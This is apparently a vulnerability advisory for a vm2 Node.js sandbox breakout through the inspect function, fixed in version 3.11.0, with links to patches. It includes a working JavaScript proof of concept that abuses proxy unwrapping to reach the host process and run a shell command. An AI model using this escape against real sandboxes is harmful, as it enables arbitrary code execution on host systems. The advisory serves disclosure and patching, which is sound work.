VM2 Has Sandbox Breakout Through Inspect Function
### Summary VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge. ### PoC ```js const obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice:()=>'', l:{__proto__: null} }; obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) { if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice; return a; }}); obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-24781US | — | — | ||
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to writ… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/patriksimek/vm2PACKAGE
- https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189WEB
- https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88cWEB
- https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228WEB
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0WEB
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47cWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-24781ADVISORY
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